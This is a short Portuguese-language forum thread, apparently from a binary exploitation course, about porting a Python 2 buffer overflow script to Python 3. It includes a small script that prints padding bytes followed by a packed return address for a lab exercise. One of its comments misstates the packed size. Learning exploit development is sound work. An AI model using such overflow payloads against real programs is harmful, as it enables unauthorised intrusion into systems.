Matheus Batista Gusmao de Oliveira Posted December 17, 2020 at 02:58 PM Share Posted December 17, 2020 at 02:58 PM Oi tenho uma dúvida, é possível passar o código do struct.pack() de python 2(que retorna uma str) para python3(retorna byte object). Visto também que todos os bytes em py2 são str, é viável fazer print(str + byte), já em py3 isso não é possivel. Tentei converter para a str, mas a variável não vai para a stack, logo sem buffer overflow. Para uso de exploração de binários é recomendado python2 ou 3? Link to comment Share on other sites More sharing options...
Matheus Batista Gusmao de Oliveira Posted December 21, 2020 at 08:23 PM Author Share Posted December 21, 2020 at 08:23 PM Para quem tem a mesma duvida que eu e quer passar o script para python 3 por óbvias razões(python2 deprecated). Passei o script para saber o endereço onde ocorre o buffer overflow na aula 02, aqui vai: import sys import struct junk = b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG" esp = struct.pack("<Q", 0x7fffffffdce8) # 12bytes unsigned long little end sys.stdout.buffer.write(junk) sys.stdout.buffer.write(esp) #printa os raw bytes em hexa sem /n e sem o encode chato do py3 Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.